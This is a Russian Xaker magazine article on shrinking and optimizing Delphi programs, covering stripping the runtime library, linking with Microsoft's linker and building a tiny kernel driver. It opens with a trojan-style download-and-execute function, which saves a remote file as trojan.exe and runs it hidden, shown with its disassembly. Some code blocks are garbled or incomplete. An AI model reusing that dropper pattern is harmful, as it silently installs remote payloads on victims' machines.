Delphi всемогущий

Источник: Xaker

Ms-Rem

Ты пишешь на дельфях и чувствуешь себя аутсайдером? Тебе нечем ответить в бесконечных hollywar′ах? Теперь ты точно будешь знать: дельфи стоит того, чтобы его любить. И не только из-за простоты этого языка. Очень маленькие и очень быстрые программы на дельфи - это возможно! Ты расскажешь об этом всем сомневающимся. И с мнением, что дельфи - язык для ламеров, будет покончено!

Многие системные программисты привыкли считать delphi полным отстоем. Свое мнение они аргументируют тем, что компилятор генерирует слишком медленный и большой код, а средний размер пустой формы с кнопкой - 400 килобайт. Впрочем, иногда никаких аргументов и вовсе не приводится. Когда на форумах сталкиваются поклонники С++ и delphi, первые обычно кричат о супернавороченном синтаксисе и потрясающих возможностях ООП, при этом утверждая, что в системном программировании все это необходимо, а вторые - о возможностях того же ООП на дельфи, которых нет в С++, и о том, что на этом языке писать проще. Из слов и тех, и других можно заключить, что обе стороны ни про delphi, ни про c++ ничего толком не знают, и все это - пустая ламерская болтовня.

Эта статья посвящена приемам системного программирования на delphi. Она написана для тех, кто любит этот язык, хочет добиться максимальной эффективности кода и не боится вложить в свое дело определенный труд. Я покажу, как делать на дельфи то, что многие считают невозможным. Тем, кто занимается кодингом на С++, не составит труда найти целую кучу статей по оптимизации. Если же ты пишешь на delphi, ты не найдешь на эту тему ничего хорошего. Видимо, все считают, что никакой оптимизации здесь не нужно. Может быть, тебя устраивает 400-килобайтная пустая форма с кнопкой? А, ты думаешь, что это неизбежное зло, и уже давно с ним смирился? Что ж, придется немного расстроить твои нервы и развеять священные заблуждения.

Немного о генерируемом компилятором коде

Для начала проверим утверждение, что компилятор delphi генерирует много лишнего и неэффективного кода. Для этого напишем функцию, скачивающую и запускающую файл из интернета (такие вещи обычно используют в троянах). Писать будем, естественно, с применением api. Вот что у меня получилось:

```
const
```
```
  destfile = ′c: rojan.exe′;
```
```
begin
```

  urldownloadtofile(nil, source, destfile, 0, nil);

```
  winexec(destfile, sw_hide);
```
```
end;
```

Этот сорец я вставил в программу, скомпилировал и дизассемблировал в ida. Вот его откомментированный листинг:

```
source = dword ptr 8
```
```
push ebp
```
```
mov ebp, esp
```
```
push 0 ; lpbindstatuscallback
```
```
push 0 ; dword
```
```
push offset destfile ; lpcstr
```
```
mov eax, [ebp+source]
```
```
push eax ; lpcstr
```
```
push 0 ; lpunknown
```
```
call urldownloadtofilea
```
```
push 0 ; ucmdshow
```
```
push offset destfile ; lpcmdline
```
```
call winexec
```
```
pop ebp
```
```
retn 4
```
```
downloadandexecute endp
```
```
destfile db ′c: rojan.exe′,0
```

Ну и где же куча лишнего кода, о котором некоторые так любят говорить? Все просто и красиво, почти то же самое можно написать вручную на ассемблере. Тем более, что на нем некоторые умники иногда такое выдают - любые ошибки компилятора покажутся мелочью :).
Почему же программы, написанные на дельфи, такие большие? Откуда берется лишний код, если компилятор его не генерирует? Сейчас мы разберем этот вопрос подробнее.

ООП - двигатель прогресса

ООП - весьма модное в настоящее время направление программирования. Его цель - упростить написание программ и сократить сроки их разработки, и с нею ООП прекрасно справляется. Большинство прикладных программистов, пишущих на С++ или delphi, уже не мыслят своей деятельности без ООП. Их главный принцип - быстрее сдал программу, быстрее получил деньги. В таких условиях о какой бы то ни было оптимизации просто забывают.

А ведь если взглянуть на дело глазами системного программиста, то сразу станет очевиден главный недостаток: ООП - качество генерируемого кода. Допустим, у нас есть класс, наследуемый от другого класса. При создании объекта этого класса компилятор будет вынужден полностью включить в его состав также код родительского класса, поскольку нет возможности определить, какие методы классов использоваться не будут. Если у нас целое дерево наследования классов, как обычно и бывает в реальных программах, то весь его код войдет в программу, и от этого никуда не денешься. Вызов методов класса производится через таблицу, что увеличивает время вызова. А когда метод наследуется от родителя в десятом поколении, то и вызов проходит через десять таблиц, прежде чем достигает обрабатывающего его кода. Получается, что вместе с кучей мертвого кода мы получаем еще низкую эффективность рабочего. Все это хорошо видно на примере библиотеки vcl в дельфи.

А вот программа, написанная на vb или на vc с применением mfc, отчего-то занимает гораздо меньше места. Все потому, что великая и ужасная компания microsoft приложила к этому свою лапу. mfc и runtime-библиотеки в vb весят ничуть не меньше, просто они скомпилены в dll и входят в поставку windows, а значит, их код не приходится таскать с собой в программах. В защиту borland можно сказать, что такая возможность присутствует и в delphi. Нужно просто в настройках проекта поставить галочку build with runtime packages, тогда программа значительно уменьшится, но потребует наличия соответствующих runtime-библиотек. Естественно, эти библиотеки в поставку винды не входят, но в этом надо винить не Борланд, а монопольную политику мелкософта.

Любители ООП, желающие разрабатывать программы в визуальном режиме, могут использовать kol. Это попытка сделать что-то типа vcl, но с учетом ее недостатков. Средний размер пустой формы с кнопкой - 35 Кб, что уже лучше, но для серьезных приложений эта библиотека не подходит, так как часто глючит. Да и решение это половинчатое.

Те, кто хочет добиться действительно высокой эффективности кода, должны идти по принципиально другому пути: забыть про ООП и все, что с ним связано, раз и навсегда. Писать программы придется только на чистом api.

Виновник номер два

Создадим в delphi пустой проект, заведомо не содержащий никакого полезного кода:

```
begin
```
```
end.
```

После компиляции в delphi 7 мы получаем экзешник размером в 13,5 Кб. Откуда?! Ведь в программе ничего нет! Ответ на этот вопрос опять поможет дать ida. Дизассемблируем экзешник и посмотрим, что он содержит. Точка входа в программу будет выглядеть так:

```
start:
```
```
push ebp
```
```
mov ebp, esp
```
```
add esp, 0fffffff0h
```
```
mov eax, offset moduleid
```
```
call _initexe
```

; здесь мог бы быть наш код

```
call _handlefinally
```
```
code ends
```

Весь лишний код находится в функциях _initexe и _handlefinally. Дело в том, что к каждой delphi программе неявно подключается код, входящий в состав rtl (run time library). Эта либа нужна для поддержки таких возможностей языка, как ООП, работа со строками (string) и специфичные для паскаля функции (assignfile, readln, writeln, etc.). initexe выполняет инициализацию всего этого добра, а handlefinally обеспечивает корректное освобождение ресурсов.
Сделано это, опять же, для упрощения жизни программистам, и применение rtl иногда оправданно, так как может не понизить, а повысить эффективность кода. Например, в состав rtl входит менеджер кучи, который позволяет быстро выделять и освобождать маленькие блоки памяти. По своей эффективности он в три раза превосходит системный. В плане производительности генерируемого кода работа со строками реализована в rtl тоже довольно неплохо, правда все равно, в увеличении размера файла, rtl - виновник номер два после ООП.

Уменьшаем размер

Если минимальный размер в 13,5 Кб тебя не устраивает, то будем убирать delphi rtl. Весь код либы находится в двух файлах: system.pas и sysinit.pas. К сожалению, компилятор подключает их к программе в любом случае, поэтому единственное, что можно сделать, - удалить из этих модулей весь код, без которого программа может работать, и перекомпилить модули, а полученные dcu-файлы положить в папку с программой.

Файл system.pas содержит основной код rtl и поддержки классов, но все это мы выбросим. Минимальное содержимое этого файла должно быть таким:

```
interface
```
```
procedure _handlefinally;
```
```
type
```
```
  tguid = record
```
```
    d1: longword;
```
```
    d2: word;
```
```
    d3: word;
```
```
    d4: array [0..7] of byte;
```
```
  end;
```
```
  pinitcontext = ^tinitcontext;
```
```
  tinitcontext = record
```
```
    outercontext: pinitcontext;
```
```
    excframe: pointer;
```
```
    inittable: pointer;
```
```
    initcount: integer;
```
```
    module: pointer;
```
```
    dllsaveebp: pointer;
```
```
    dllsaveebx: pointer;
```
```
    dllsaveesi: pointer;
```
```
    dllsaveedi: pointer;
```
```
    exitprocesstls: procedure;
```
```
    dllinitstate: byte;
```
```
  end;
```
```
implementation
```
```
procedure _handlefinally;
```
```
asm
```
```
end;
```
```
end.
```

Описания структуры tguid компилятор требует в любом случае и без нее компилировать модуль отказывается. tinitcontext понадобится линкеру, если мы будем собирать dll. handlefinally - процедура освобождения ресурсов rtl, компилятору она тоже необходима, хотя может быть пустой.

Теперь урежем файл sysinit.pas, который содержит код инициализации и завершения работы rtl и управляет поддержкой пакетов. Нам хватит следующего:

```
interface
```
```
procedure _initexe;
```
```
procedure _halt0;
```

procedure _initlib(context: pinitcontext);

```
var
```
```
  moduleislib: boolean;
```
```
  tlsindex: integer = -1;
```
```
  tlslast: byte;
```
```
const
```
```
  ptrtonil: pointer = nil;
```
```
implementation
```

procedure _initlib(context: pinitcontext);

```
asm
```
```
end;
```
```
procedure _initexe;
```
```
asm
```
```
end;
```
```
procedure _halt0;
```
```
asm
```
```
end;
```
```
end.
```

initexe - процедура инициализации rtl для exe-файлов, initlib - для dll, halt0 - завершение работы программы. Все остальные лишние структуры и переменные, которые пришлось оставить, необходимы компилятору. Они не будут включаться в выходной файл и никак не повлияют на его размер.

Теперь положим эти два файла в папку с проектом и скомпилируем их из командной строки:

dcc32.exe -q system.pas sysinit.pas -m -y -z -$d- -o

Избавившись от rtl, мы получили экзешник размером в 3,5 Кб. Борландовский линкер создает в исполняемом файле шесть секций, они выравниваются по 512 байт, к ним плюсуется pe-заголовок, что и дает эти 3,5 Кб.

Но вдобавок к малому размеру мы получаем и определенные затруднения, так как теперь не сможем использовать заголовочные файлы на winapi, идущие с delphi. Вместо них придется писать свои. Это нетрудно, поскольку описания используемых api можно брать из борландовских хедеров и переносить в свои по мере необходимости.

Если в составе проекта есть несколько pas-файлов, линкер для выравнивания кода вставит в него пустые участки, и размеры опять увеличатся. Чтобы этого избежать, нужно всю программу, включая определения api, помещать в один файл. Это весьма неудобно, поэтому лучше воспользоваться директивой препроцессора $include и разнести код на несколько inc-файлов. Тут может встретиться еще одна проблема - повторяющийся код (когда несколько inc-файлов подключают один и тот же inc) компилятор в таких случаях компилировать откажется. Выйти из положения можно, воспользовавшись директивами условной компиляции, после чего любой inc-файл будет иметь вид:

```
{$define win32api}
```
```
// здесь идет наш код
```
```
{$endif}
```

Таким образом, можно писать без rtl достаточно сложные программы и забыть о неудобствах.

Можно еще меньше!

Наверняка минимальный размер экзешника в 3,5 Кб удовлетворит не всех. Что ж, если постараться, можно ужать его еще в несколько раз. Для этого нужно отказаться от удобств работы с борландовским линкером и собирать исполнимые файлы линкером от microsoft. К сожалению, здесь нас ждет одна загвоздка. Мелкософтовский линкер использует в качестве основного рабочего формата coff, но может понимать и интеловский omf. Однако программисты Борланда (видать, нарочно) в версиях delphi выше третьей изменили генерируемый формат obj-файлов так, что теперь он несовместим с intel omf. То есть теперь существуют два вида omf: intel omf и borland omf. Программы, способной конвертировать объектные файлы из формата borland omf в coff или intel omf, я не нашел. Поэтому придется использовать компилятор от delphi 3, который генерирует стандартный объектный файл intel omf. Импорт используемых api нам тоже придется описывать вручную, причем достаточно необычным способом. Для начала возьмем библиотеку импорта user32.lib из состава visual c++ и откроем ее в hex-редакторе. Имена функций в ней имеют вид "_messageboxa@16", где после @ идет размер передаваемых параметров. Следовательно, объявлять функции мы будем таким образом:

Попробуем теперь написать helloworld как можно меньшего размера. Для этого создаем проект такого типа:

```
interface
```
```
procedure start;
```
```
implementation
```

function messageboxa(hwnd:cardinal;lptext,lpcaption:pchar;utype:cardinal): integer;stdcall;external′user32.dll′ name ′_messageboxa@16′;

```
procedure start;
```
```
begin
```

  messageboxa(0, ′hello world!′, nil, 0);

```
end;
```
```
end.
```

Тип модуля unit нужен для того, чтобы компилятор генерировал в объектном файле символьные имена объявленных процедур. В нашем случае это будет процедура start - точка входа в программу. Теперь компилируем проект следующей строкой:

dcc32.exe -jp -$a-,b-,c-,d-,g-,h-,i-,j-,l-,m-,o+,p-,q-,r-,t-,u-,v-,w+,x+,y- helloworld.pas

Новый файл helloworld.obj открываем в hex-редакторе и смотрим, во что превратилась наша точка входа. У меня получилось start$qqrv. Это имя нужно указать как точку входа при сборке исполнимого файла. И наконец, выполним сборку:

link.exe /align:32 /force:unresolved /subsystem:windows /entry:start$qqrv helloworld.obj user32.lib /out:hello.exe

В результате мы получаем работающий helloworld размером в 832 байта! Я думаю, что этот размер удовлетворит любого. Попробуем теперь дизассемблировать этот файл в ida и поискать лишний код:

```
; char text[]
```
```
text db ′hello world!′,0
```
```
public start
```
```
start proc near
```
```
push 0 ; utype
```
```
push 0 ; lpcaption
```
```
push offset text ; lptext
```
```
push 0 ; hwnd
```
```
call messageboxa
```
```
retn
```
```
start endp
```

Ни байта лишнего кода! Покажи этот пример всем, кто любит говорить о большом размере программ, написанных на дельфи, и понаблюдай за их выражением лица - это прикольно :). Самые упорные промычат: [А... Э... Все равно дерьмо!], но уже никто ничего не скажет по существу. А самые продвинутые спорщики приведут последний аргумент - на delphi нельзя написать драйвер режима ядра для windows nt. Ничего... сейчас и они присоединятся к проигравшим :).

Пишем драйвер на delphi

О том, как по нашей методике сделать невозможное - написать на delphi драйвер режима ядра, даже есть статья на rsdn, и всем интересующимся я рекомендую ее прочитать. Здесь же я приведу пример простейшего драйвера и содержимое make.bat для его сборки.

```
interface
```

function driverentry(driverobject, registrypath: pointer): integer; stdcall;

```
implementation
```

function dbgprint(str: pchar): cardinal; cdecl; external ′ntoskrnl.exe′ name ′_dbgprint′;

function driverentry(driverobject, registrypath: pointer): integer;

```
begin
```
```
  dbgprint(′hello world!′);
```
```
  result := -1;
```
```
end;
```
```
end.
```

Файл make.bat:

dcc32.exe -jp -$a-,b-,c-,d-,g-,h-,i-,j-,l-,m-,o+,p-,q-,r-,t-,u-,v-,w+,x+,y- driver.pas
link.exe /driver /align:32 /base:0x10000 /subsystem:native /force:unresolved /entry:driverentry$qqspvt1 driver.obj ntoskrnl.lib /out:driver.sys

Для компиляции нам понадобится файл ntoskrnl.lib из ddk. Мы получим драйвер размером в килобайт, который выводит сообщение [hello world] в отладочную консоль и возвращает ошибку, а потому не остается в памяти и не требует определения функции driverunload. Для запуска драйвера используй kmdmanager от four-f. Увидеть результаты его работы можно в софтайсе или dbgview.

Главная проблема, из-за которой на delphi нельзя писать полноценные драйвера, - отсутствие ddk. Для написания драйверов нужны заголовочные файлы на api-ядра и описания большого количества системных структур. Все это богатство есть только для С (от microsoft) и для masm32 (от four-f). Есть слух, что ddk для паскаля уже существует, но автор продает его за деньги и сильно этот факт не афиширует. Думаю, когда-нибудь все-таки найдутся энтузиасты, которые перепишут ddk на паскаль и выложат для всеобщего использования. Другой проблемой является то, что большинство примеров, связанных с системным программированием, написаны на си, поэтому на каком бы языке ты ни писал свои программы, си знать придется. Это, конечно, не означает, что придется изучать С++ в полном его объеме. Для понимания системных программ хватит базовых знаний синтаксиса, все остальное же используется только в прикладных программах, которые нас совершенно не интересуют.

Переносимость кода

При программировании на стандартных delphi компонентах, кроме кучи недостатков, мы получаем одно достоинство - некоторую переносимость кода. Если программа использует только возможности языка, но не возможности системы, то она будет легко компилироваться в kilix и работать в linux. Вся проблема в том, что без использования возможностей системы мы получим настоящее глюкалово, тяжелую и неэффективную программу. Тем не менее, при написании серьезных программ по вышеописанным методикам, все-таки хочется иметь некоторую независимость от системы. Получить ее очень просто - достаточно писать код, не использующий ни api-функций, ни возможностей языка вообще. В некоторых случаях это совершенно невозможно (например, в играх), но иногда функции системы абсолютно не нужны (например, в математических алгоритмах). В любом случае, следует четко разделять машинно-зависимую и машинно-независимую (если такая есть) части кода. При соблюдении вышеописанных правил машинно-независимая часть будет совместима на уровне исходных текстов с любой системой, для которой есть компилятор паскаля (а он есть даже для pic-контроллеров). Независимый от api код можно смело компилировать в dll и использовать, например, в драйвере режима ядра. Также такую dll не составит труда использовать и в других ОС. Для этого нужно просто посекционно отмапить dll в адресное пространство процесса, настроить релоки и смело пользоваться ее функциями. Осуществляющий это код на паскале занимает около 80 строк. Если же dll все-таки использует некоторые api-функции, то их наличие можно проэмулировать, заполнив таблицу импорта dll адресами заменяющих их функций в своей программе.

Общие приемы оптимизации

Старайся везде, где можно, использовать указатели. Никогда не передавай данные в функцию таким образом:

procedure figznaet(data: tstructure);

Всегда передавай указатели на структуры:

procedure figznaet(pdata: pstructure); где pstructure = ^tstructure;

Такой вызов происходит быстрее и экономит немалое количество кода.
Старайся не пользоваться типом данных string, вместо него всегда можно использовать pchar и обрабатывать строки вручную. Если нужен временный буфер для хранения строки, то его следует объявить в локальных переменных как array of char.

Старайся передавать в функцию не больше трех параметров: первые три параметра согласно методу вызова fastcall (который по умолчанию применяется в delphi) передаются в регистрах, а все последующие через стек, что замедляет доступ к ним и увеличивает размер кода.

Экономь память: если, например, у тебя есть массив чисел, диапазон которых укладывается в байт, то не нужно объявлять его как dword. Никогда не стоит писать повторяющийся код. Если какие-либо действия должны повторяться, то их нужно вынести в функцию. Тем не менее, не стоит делать функцию, содержащую две строчки кода, - ее вызов может занимать куда больше места, чем она сама.

И помни главное: эффективность кода в первую очередь определяется не компилятором, а примененным алгоритмом,что эффективнее!

Ссылки по теме

Delphi всемогущий (исходники)

Общие приемы оптимизации